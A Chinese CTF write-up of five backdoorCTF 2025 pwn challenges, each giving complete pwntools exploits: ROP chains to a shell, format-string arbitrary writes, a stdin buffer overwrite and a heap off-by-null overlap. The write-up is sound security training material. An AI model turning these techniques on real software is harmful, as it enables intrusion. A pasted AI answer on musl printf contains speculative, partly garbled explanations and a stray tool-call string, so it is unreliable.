backdoorCTF 2025 PWN Writeup
Devil’s Convergence
很简单的一道题,将输入的8个字节跟libc地址异或,然后输出,所以我们可以得到libc地址
还存在栈溢出漏洞,直接写ROP拿shell即可
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chal_chainsawman" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8005
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''
def sa(a,b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def cyclic_xor(data: bytes, key: bytes) -> bytes:
"""
对一个字节串(data)与一个 8 字节的密钥(key)进行循环异或(XOR)操作。
Args:
data: 需要进行异或操作的输入字节串。
key: 8 字节的密钥。
Returns:
异或操作后的结果字节串。
Raises:
ValueError: 如果密钥长度不是 8 字节,则抛出异常。
"""
# 检查密钥长度是否为 8 字节
if len(key) != 8:
raise ValueError("密钥 (key) 必须是 8 字节长。")
# 用于存储结果的字节列表
result_list = []
# 获取数据和密钥的长度
data_len = len(data)
key_len = len(key) # key_len 此时应为 8
# 遍历数据中的每个字节
for i in range(data_len):
# 确定当前字节 i 对应的密钥字节的索引 j
# j = i % key_len 会让 j 在 0 到 7 之间循环
j = i % key_len
# 对数据字节和密钥字节进行 XOR 运算
# data[i] 和 key[j] 都是整数(0-255)表示的字节值
xor_byte = data[i] ^ key[j]
# 将 XOR 结果添加到结果列表中
result_list.append(xor_byte)
# 将整数列表转换回字节串并返回
return bytes(result_list)
sh = start()
# 自定义 dest 内容
sa("Submit to her control: ", b'\x00' * 4)
sh.recvuntil(b"essence: ")
low4 = sh.recv(4)
sa("to War: ", b'\x00' * 4)
sh.recvuntil(b"essence: ")
high4 = sh.recv(4)
system_addr = u64(low4 + high4)
log.success("system: " + hex(system_addr))
libc_base = system_addr - libc.sym['system']
rdi_ret = 0x000000000010f78b + libc_base
binsh_addr = libc_base + next(libc.search("/bin/sh"))
payload = b'A' * 80 + b'B' * 8 + p64(rdi_ret + 1) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
sa("contract: ", cyclic_xor(payload, p64(system_addr)))
sh.interactive()
Gamble
存在可多次触发的格式化字符串漏洞,printf里只能写6个字节,但是可以通过前面的10个字节放地址,printf里放%9$hhn来往任意地址写入b'\x00。因为可以多次触发,所以也可以泄露出libc地址,栈地址,程序基地址等。

既然有任意地址写b'\x00'那么就可以想到,写stdin的_IO_buf_base的最低字节,由此实现任意地址写。
值得注意的是,利用这种办法任意地址写时,最好把第二次覆盖stdin的ptr和end写“宽”一点,比如payload = b'a' * 0x18 + p64(targetaddr - 0x8) + p64(targetaddr + 0x20) + p64(0) * 4,否则会在写入已经想要的东西后,还没ret,但是再次触发写入覆盖
程序还有一个win函数,会输出flag,在栈上把返回地址写为win函数地址即可。

感觉这题这种解法不是预期解,等一下官方的WriteUp
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux', arch='amd64')
# context.terminal = ['tmux', 'new-window', '-n', 'debug']
filename = "chal"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8004
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''
def sa(a, b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
# ============================= 漏洞利用函数 =============================
def vuln1_integer_overflow_login(user_id, username, target_balance):
"""
漏洞 #1: 整数溢出 - 在 login 函数中控制余额
原理:
- login 函数计算: balance += 8 * user_input
- 通过精心选择 user_input,可以让余额变成任意值
- 甚至可以设置为负数或特定地址
利用:
- 设置余额为任意值(包括地址,用于后续任意写零)
- 输入负数可以减少余额
- 输入超大值可能导致溢出
Args:
user_id: 用户 ID (0-9)
username: 用户名
target_balance: 目标余额(将会乘以8后加到余额上)
返回:
实际设置的余额 = target_balance * 8
"""
log.info(f"[VULN #1] Integer Overflow: Setting user {user_id} balance to {hex(target_balance * 8)}")
# 选择菜单选项 [1] Login
sla(b"> ", b"1")
# 输入用户 ID
sla(b"Enter your user ID (0-9): ", str(user_id).encode())
# 首次登录,输入用户名
sla(b"Please enter your name: ", username)
# 输入金额(将会乘以 8)
# 注意:如果 target_balance 是负数或很大,会触发整数溢出
sla(b"Enter amount of coins you want: ", str(target_balance).encode())
actual_balance = target_balance * 8
log.success(f"User {user_id} balance set to: {hex(actual_balance) if actual_balance >= 0 else actual_balance}")
return actual_balance
def vuln2_format_string_leak(user_id, fmt_payload):
"""
漏洞 #2: 格式化字符串 - 在 bet 函数中泄露栈/libc/PIE地址
原理:
- bet 函数允许输入 16 字节,但 buffer 只有 10 字节
- 字节 10-15 会溢出覆盖 format 变量
- 随后 printf(format) 将用户控制的格式字符串执行
利用:
- 泄露栈地址: %p 或 %<offset>$p
- 泄露 libc: %<offset>$s (需要知道栈上有 libc 指针)
- 任意地址读: 构造特殊 payload
Args:
user_id: 用户 ID (0-9)
offset: 格式化字符串偏移 (用于 %<offset>$p)
返回:
泄露的地址 (8 字节)
"""
# 选择菜单选项 [2] Place Bet
sla(b"> ", b"2")
# 输入用户 ID
sla(b"Plese enter id to place bet: ", str(user_id).encode())
# 发送 payload(注意:不要发送换行符,用 send 而不是 sendline)
#sh.interactive()
sh.sendlineafter(b"Enter your bet amount (Please specify Currency): ", fmt_payload)
# 接收格式化字符串输出
leaked = sh.recvline().strip()
log.info(f"Format string output: {leaked}")
# 解析地址
if leaked.startswith(b"0x"):
leaked_addr = int(leaked[:14], 16)
return leaked_addr
else:
log.warning(f"Failed to parse leaked address: {leaked}")
return None
sh = start()
log.info("\n" + "="*60)
log.info("DEMO 2: Format String Vulnerability - Leak Addresses")
log.info("="*60)
vuln1_integer_overflow_login(1, b"pwner", 1000)
vuln1_integer_overflow_login(2, b"pwner", 1000)
vuln1_integer_overflow_login(4, b"pwner", 1000)
vuln1_integer_overflow_login(5, b"pwner", 1000)
leaked = vuln2_format_string_leak(2, b'A' * 10 + b'%33$p')
libc_base = leaked - 0x2a1ca
_IO_2_1_stdin_ = libc_base + 0x2038e0
leaked = vuln2_format_string_leak(4, b'A' * 10 + b'%28$p')
print(leaked)
targetaddr = leaked - 0x18
leaked = vuln2_format_string_leak(1, b'A' * 10 + b'%29$p')
pie = leaked - 0x1ec7
leaked = vuln2_format_string_leak(5, b'A' * 2 + p64(_IO_2_1_stdin_ + 0x38) + b'%9$hhn')
sla("> ", str(1))
sla("ID (0-9): ", str(9))
payload = b'a' * 0x18 + p64(targetaddr - 0x8) + p64(targetaddr + 0x20) + p64(0) * 4
sla("name: ", payload)
sla("> ", str(1))
sla("ID (0-9): ", str(8))
win_addr = p64(targetaddr + 0x100) + p64(pie + 0x16F1)
print(targetaddr)
sla("name: ", win_addr)
sla("want: ", str(10))
sh.interactive()
Aladdin ka Chirag
格式化字符串漏洞

虽然printf里看似参数只能塞大小为8的buf,但是注意到s在buf的高地址处,并且buf读入后没有补\x00,所以其实printf的参数可以塞大小为16的buf

仔细看11行的read,会发现还有一个栈溢出,溢出0xa字节,可以把rbp覆盖,再覆盖返回地址的一部分,可以选择覆盖最低字节到

这样可以无限触发格式化字符串漏洞,并且有16字节的空间,可以实现任意写。
将栈上的libc_start_main_ret写一串ROP开shell即可。
Q:栈溢出为什么要写返回地址到call cave而不是main或者cave的起始地址?
A:因为修改到main或cave,堆栈就不平衡了,之后不会返回到libc_start_main_ret,当然应该还有其他解法,不一定要ROP,只是我更喜欢这种
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8007
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
#b *$rebase(0x13AA)
gs = '''
b *$rebase(0x138B)
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''
def sa(a,b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def format_write(addr, byte):
payload = b'%8$hhnAA' + p64(addr) + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = bytes(b'A' * (6 - len(str(abs(byte)))) + bytes(f'%{byte - (6 - len(str(abs(byte))))}c', encoding='ASCII'))
sa("Enter your wish >> ", format_payload)
def format_write_addr(target_addr, write_addr):
for i in range(6):
format_write(target_addr + i, (write_addr >> (8 * i)) & 0xff)
sh = start()
# Your exploit here
payload = b'A' * 16 + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = b'%9$p' # 10 #11
sa("Enter your wish >> ", format_payload)
pie = int(sh.recv(14), base = 16) - 0x13cd
log.success("pie:" + hex(pie))
payload = b'A' * 16 + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = b'%11$p' # 10 #11
sa("Enter your wish >> ", format_payload)
libc_base = int(sh.recv(14), base = 16)-0x2a1ca
log.success("stack:" + hex(libc_base))
payload = b'A' * 16 + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = b'%10$p' # 10 #11
sa("Enter your wish >> ", format_payload)
stack = int(sh.recv(14), base = 16)
log.success("stack:" + hex(stack))
libc_start_main_ret_stack = stack - 0x98
rdi_ret = 0x000000000010f78b + libc_base
format_write_addr(libc_start_main_ret_stack, rdi_ret)
format_write_addr(libc_start_main_ret_stack + 0x8, libc_base + next(libc.search("/bin/sh")))
format_write_addr(libc_start_main_ret_stack + 0x10, rdi_ret + 1)
format_write_addr(libc_start_main_ret_stack + 0x18, libc_base + libc.sym['system'])
sla("Enter your name >> ", str(123))
sla("Enter your wish >> ", str(123))
sh.interactive()
Santa’s Workshop
堆题,libc2.35

第9行,会泄露heapbase,感觉没必要给,可以通过large_bin泄露
不截图每个函数了,大致说一下有哪些功能和漏洞
非常完备,有malloc,free,show,edit,edit存在溢出一个\x00的漏洞
再关注一下case 5和case 6


简单来说就是,load_secret会分配一个堆块,往里面写上随机的secret,然后可以调用master_key,检查你的输入,与secret对比,相同就给你flag
所以这道题要做的就是利用溢出一个\x00的漏洞去泄露一个堆块的内容
第一反应是经典的off-by-one
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/
但是libc2.29加入了保护
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
所以这种办法行不通
想一想这种经典办法为什么会被这个保护拦截,因为他是控制presize,使得prev_chunk是一个真实的被free了的chunk(里面还隔几个chunk,从而造成重叠),为什么要这样做呢?
因为在unlink的时候会检查
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
如果不是一个真实的chunk,这个检查很难通过,但是我们现在有了已经泄露的heapbase,可以伪造fd和bk均为fake_chunk的地址,这样就没必要使得prev_chunk是一个真实的被free了的chunk
所以直接一条龙服务,在一个chunk里面放假的chunk header,fd,bk即可,然后利用off-by-one,但是prev chunk是我们的假chunk即可。这样就可以造成堆重叠,从而泄露secret
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/libc6_2.35-0ubuntu3.11_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8000
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/libc6-dbg_2.35-0ubuntu3.11_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/glibc-source_2.35-0ubuntu3.11_all/usr/src/glibc/glibc-2.35
'''
def sa(a,b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
# ========== 程序交互函数 ==========
def prepare_gift(slot, size):
"""
功能1: 分配堆块
参数:
slot: 礼物槽位 (0-15)
size: 堆块大小 (0x50 < size <= 0x1000)
"""
sla(b"> ", b"1")
sla(b"Gift Slot: ", str(slot).encode())
sla(b"Gift Size: ", str(size).encode())
def rewrite_card(slot, data):
"""
功能2: 写入数据到堆块
参数:
slot: 礼物槽位 (0-15)
data: 要写入的数据 (bytes)
注意: 存在Off-by-One漏洞!如果len(data) == size,会溢出1字节
"""
sla(b"> ", b"2")
sla(b"Gift Slot: ", str(slot).encode())
sa(b"Card Message: ", data)
def check_gift(slot):
"""
功能3: 读取堆块内容
参数:
slot: 礼物槽位 (0-15)
返回: 堆块内容 (bytes)
"""
sla(b"> ", b"3")
sla(b"Gift Slot: ", str(slot).encode())
sh.recvuntil(b"Gift Contents: ")
return sh.recvline()
def deliver_gift(slot):
"""
功能4: 释放堆块
参数:
slot: 礼物槽位 (0-15)
"""
sla(b"> ", b"4")
sla(b"Gift Slot: ", str(slot).encode())
def master_key(secret):
"""
功能5: 验证密钥并获取flag
参数:
secret: 16字节密钥 (bytes)
"""
sla(b"> ", b"5")
sa(b"Enter Santa's Secret Code: ", secret)
def load_secret():
"""
功能6: 从/dev/urandom加载16字节随机密钥
注意: 会在堆上分配0x20字节chunk存储密钥但不释放!
"""
sla(b"> ", b"6")
def close_workshop():
"""
功能7: 退出程序
"""
sla(b"> ", b"7")
# ========== 辅助函数 ==========
def leak_heap():
"""
程序启动时会自动泄露一个堆地址
返回: 堆地址
"""
sh.recvuntil(b"Ho...Ho...Ho..")
heap_leak = int(sh.recv(14), 16)
log.success(f"Heap leak: {hex(heap_leak)}")
return heap_leak
sh = start()
# 1. 接收banner和泄露的堆地址
heap_leak = leak_heap()
heap_base = heap_leak - 0x2a0 # 需要根据实际调试调整偏移
log.success(f"Heap base: {hex(heap_base)}")
prepare_gift(0, 0x588)
load_secret()
prepare_gift(1, 0x58)
prepare_gift(2, 0x4f8)
rewrite_card(0, b'A' * 0xc0 + p64(0x0) + p64(0x551) + p64(heap_base + 0x380) * 2)
rewrite_card(1, b'A' * 0x50 + p64(0x550))
prepare_gift(3, 0x500)
prepare_gift(6, 0x68)
prepare_gift(4, 0x500)
prepare_gift(5, 0x68)
deliver_gift(3)
deliver_gift(4)
deliver_gift(2)
prepare_gift(9, 0xf00)
gift = check_gift(9)
key = gift[0x4c0:0x4d0]
print(len(key))
master_key(key)
sh.interactive()
Lolimancer
本题的特殊之处在于libc是musl,而不是glibc
musl的printf函数有点不同,下面给gemini的回答
TL;DR:musl的printf中,在使用第n个参数时,必须使用前n-1个参数,换句话说如果想要''%6$p',只能'%p' * 6或者'%1$p%2%p%3$p%4$p%5$p%6$p'
1. 核心矛盾:
va_list的单向性要理解这个漏洞的区别,必须先理解 C 语言可变参数(
va_list)的工作原理:
- 栈是线性的: 参数在栈上(或寄存器中)是一个接一个紧挨着排放的。
- 读取是单向的: 想要读取第 6 个参数,必须先知道第 1、2、3、4、5 个参数的大小(是
int4字节?还是double8字节?),然后逐个跳过它们。你不能直接“瞬移”到第 6 个位置。2. Glibc 的做法:宽容与猜测
glibc的vfprintf非常复杂(代码量巨大),它采用了一种**“两遍扫描 + 内部缓冲”**的策略,并且带有很强的容错性。
- 机制: 当
glibc看到%6$p时,它意识到使用了位置参数。- 填补空缺: 它会扫描整个格式化字符串。如果发现缺少第 1-5 个参数的定义,
glibc为了能让你拿到第 6 个,它在内部处理时通常会默认假设缺失的参数是int(或字长宽度)。- 结果: 它通过假设跳过了前 5 个位置,成功读取了第 6 个位置的数据并打印。
- 代价: 代码极其臃肿,且这种“猜测”在某些架构下可能不安全。
3. Musl 的做法:严格与极简
musl的设计哲学是代码极简且严格遵循 POSIX 标准。它的vfprintf.c逻辑非常直白,正是这种直白导致了你看到的结果。源码逻辑复盘(基于 musl
src/stdio/vfprintf.c)Musl 处理位置参数的伪代码逻辑如下:
C
// musl vfprintf.c 的简化逻辑 int vfprintf(..., const char *fmt, va_list ap) { // 1. 扫描格式化字符串,构建类型表 // nl_type[i] 存储第 i 个参数的类型 for (...) { if (sees "%6$p") nl_type[6] = POINTER; } // 2. 这里的 nl_type[1] 到 nl_type[5] 都是 0 (UNKNOWN)! // 3. 尝试读取参数存入本地缓存 nl_arg for (i = 1; i <= max_arg; i++) { switch (nl_type[i]) { case INT: nl_arg[i].i = va_arg(ap, int); break; case POINTER: nl_arg[i].p = va_arg(ap, void*); break; // ... 其他类型 ... case 0: // !!! 致命问题 !!! // 标准说:如果用到了第N个参数,前N-1个必须有定义。 // Musl 此时不知道第 i 个参数多大,无法移动 ap 指针。 // 此时 musl 判定为非法格式,直接停止处理或报错返回。 return -1; } } }为什么是“未定义行为”或崩溃?
- 什么都不打印(返回 -1): 当
musl发现第 1-5 个参数类型未知时,它无法执行va_arg(ap, ???)来跳到第 6 个参数。它物理上无法计算出第 6 个参数的内存地址。因此,它通常会检测到这个“空洞(Hole)”,停止解析,并返回错误代码(通常是 -1)。如果你的程序没有检查printf的返回值,看起来就是“什么都没发生”。- 崩溃(Crash): 在某些特定版本或编译优化的
musl中,如果在某些极端的漏洞利用场景下(或者如果你混用了%和%n$),内部的状态机可能会因为索引越界或读取了未初始化的nl_arg数组而崩溃。特别是如果它试图读取一个未被正确pop出来的指针并解引用它,程序就会立即 Segfault。4. 为什么 POSIX 标准站在 Musl 这一边?
POSIX 标准关于
printf有明确规定:“When numbered argument specifications are used, specifying the Nth argument requires that all the leading arguments, from the first to the (N-1)th, are specified in the format string.”
(当使用编号参数说明符时,指定第 N 个参数要求从第 1 到第 N-1 个参数都必须在格式字符串中指定。)
- 你的输入:
%6$p- 违规点: 缺少 1, 2, 3, 4, 5 的定义。
- 结论: 这是一个非法的格式字符串。
musl拒绝服务是符合标准的;glibc帮你打印出来是它自己的“私自扩展(GNU Extension)”行为。5. 对漏洞利用(Exploit)的影响
这对 CTF 或实战漏洞挖掘有巨大影响:
- 在 Glibc 上: 你可以随意泄露栈深处的内存,例如
%100$p,即使你不知道前 99 个参数是什么。这使得泄露 canary 或 libc基址非常容易。- 在 Musl 上: 格式化字符串漏洞利用难度剧增。
- 你不能跳过参数。如果你想泄露第 6 个参数,你必须构造一个格式化字符串,显式地消耗掉前 5 个参数,例如:
%1$p%2$p%3$p%4$p%5$p%6$p- 如果 payload 长度受限(例如缓冲区很小),你就无法构造出足够长的填充来触达深层的栈数据。
1. 核心罪魁祸首:
nl_arg数组在
musl的src/stdio/vfprintf.c(或其调用的printf_core) 中,为了处理%n$这种参数,它必须把参数从va_list拷贝到一个本地数组里方便随机访问。关键代码定义大致如下:
C
// 简化后的 musl 内部变量定义 union arg { uintmax_t i; double f; void *p; // %n 对应的指针存在这里 }; // !!! 重点在这里 !!! // 这个数组是在栈上分配的局部变量,且没有被初始化为0! union arg nl_arg[NL_ARGMAX+1]; uint32_t nl_type[NL_ARGMAX+1] = {0}; // 类型表倒是初始化了2. 崩溃流程复盘
当你输入
%4$n且没有定义 1, 2, 3 时,发生了以下连锁反应:第一步:类型扫描(Pass 1)
扫描器发现
%4$n,于是标记:
nl_type[4] = POINTER;nl_type[1],nl_type[2],nl_type[3]依然是初始值0(也就是NONE)。第二步:参数获取(Pass 2)—— 漏洞发生地
理论上,musl 应该在发现 nl_type[1] 为 0 时直接 return -1 报错。
但是,在某些特定的编译优化(Optimization)、特定版本或者如果程序逻辑因为其他未定义行为(Undefined Behavior)而“意外”地绕过了检查(或者仅仅是因为你的调试环境与标准源码有细微出入),程序进入了后续的执行流。
更关键的是
nl_arg的状态:
- 因为
nl_arg是局部变量且未初始化,它的内存里装的是“上一层函数”栈帧遗留下来的垃圾数据。musl并没有执行va_arg来填充nl_arg[4](因为之前的参数缺失,无法计算偏移)。- 所以,
nl_arg[4].p的值,就是此刻栈上那个位置原本存在的任何数值。第三步:执行写入
当
printf执行到%4$n时,它执行类似这样的操作:C
// 伪代码 int *ptr = nl_arg[4].p; // 取出指针 *ptr = count; // 尝试写入字符计数3. 为什么是
0x38或0x1000?这就是最有趣的地方。因为
nl_arg[4]是未初始化的栈内存,它直接继承了栈上的“脏数据”。
0x38 (十进制 56):
这很可能是栈上残留的一个小整数。比如上一个被调用的函数中有一个循环计数器 i 增加到了 56,或者是一个结构体的偏移量,或者是某个标志位。当 vfprintf 分配栈帧时,nl_arg[4] 刚好落在了这个位置。
- 程序试图向内存地址
0x0000000000000038写入数据。这是内核保留区,不可写 -> Segmentation Fault。0x1000:
这通常是页对齐的大小。可能是上一个函数的某个缓冲区大小参数,或者是某个被 free 掉的堆块的头部残留数据。
4. Glibc vs Musl:行为对比图解
我为你生成了一张内存行为对比图,以便更直观地理解这种差异。
google:search{queries:[musl vfprintf nl_arg uninitialized stack usage,musl printf %n crash mechanism]}
对比总结:
行为 Glibc Musl 缺失参数处理 猜测并填充。它假设缺失的参数是默认宽度,强制计算出 %4$的偏移量。拒绝或未定义。标准逻辑是报错,但若触发未定义行为,则使用栈残留数据。 指针来源 实际的栈/寄存器数据(即使是错位的数据,也是真实存在的地址)。 本地局部变量数组 nl_arg。崩溃原因 通常不容易崩,除非算出的地址不可访问。 极易崩。因为使用的是未初始化的“脏栈数据”,这些数据(如 0x38)作为指针通常是非法的。
所以这道题的格式化字符串漏洞

只能通过一连串的%p来进行泄露
可以看到还有一个栈溢出

泄露之后ROP即可
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "./libc.so"
host = "remote.infoseciitr.in"
port = 8003
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
'''
def sa(a,b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
def start():
env_vars = {"LD_LIBRARY_PATH": "."}
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs, env=env_vars)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path, env=env_vars)
sh = start()
# Your exploit here
payload1 = b'%p%p'
sh.send(payload1)
stack = int(sh.recv(14), base=16)
libc_base = int(sh.recv(14), base=16)-0xb5b44 + 0x3fa0
log.success("stack: " + hex(stack))
log.success("libc_base: " + hex(libc_base))
payload2 = b'%p' * 0x14
sa("One more time and you will be strong!!\n", payload2)
sh.recvuntil("0x7025702570257025000000x1")
canary = int(sh.recv(18), base=16)
log.success("canary: " + hex(canary))
system = libc_base + libc.sym['system']
rdi_ret = libc_base + 0x00000000000142a5
binsh = libc_base + next(libc.search("/bin/sh"))
payload = flat([
b'A' * 24,
p64(canary),
p64(stack + 0xd8),
p64(rdi_ret),
p64(binsh),
p64(rdi_ret + 1),
p64(system),
])
#print(hex(rdi_ret))
sla("I think you do not need warmup!!", payload)
sh.interactive()